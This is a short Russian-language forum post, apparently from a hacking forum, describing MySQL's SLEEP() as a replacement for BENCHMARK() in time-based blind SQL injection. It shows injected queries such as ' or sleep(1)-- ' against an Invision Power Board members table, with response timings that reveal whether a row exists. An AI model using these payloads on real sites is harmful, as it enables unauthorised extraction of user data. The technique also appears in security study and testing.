Показать сообщение отдельно

  #11  
Старый 31.05.2008, 09:43
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 69
С нами: 9734726

Репутация: 676
По умолчанию

SLEEP как альтернатива BENCHMARK. В отличие от бенчмарка, sleep не требует вычислительных действий и нахождения погрешности во времени ответа от сервера, то есть выигрыш на лицо. Функция выполняется

Цитата:
SLEEP(duration)

Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0. If SLEEP() is interrupted, it returns 1. The duration may have a fractional part given in microseconds.
mysql > DO SLEEP(1);
-> SQL-запрос был успешно выполнен (запрос занял 1.0068 сек.)

На примере IPB

mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '2' or sleep(1)-- '
-> MySQL вернула пустой результат (т.е. ноль строк). (запрос занял 1.0066 сек.)

mysql > mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '1' or sleep(1)-- '
-> Отображает строки 0 - 0 (1 всего, запрос занял 0.0005 сек.)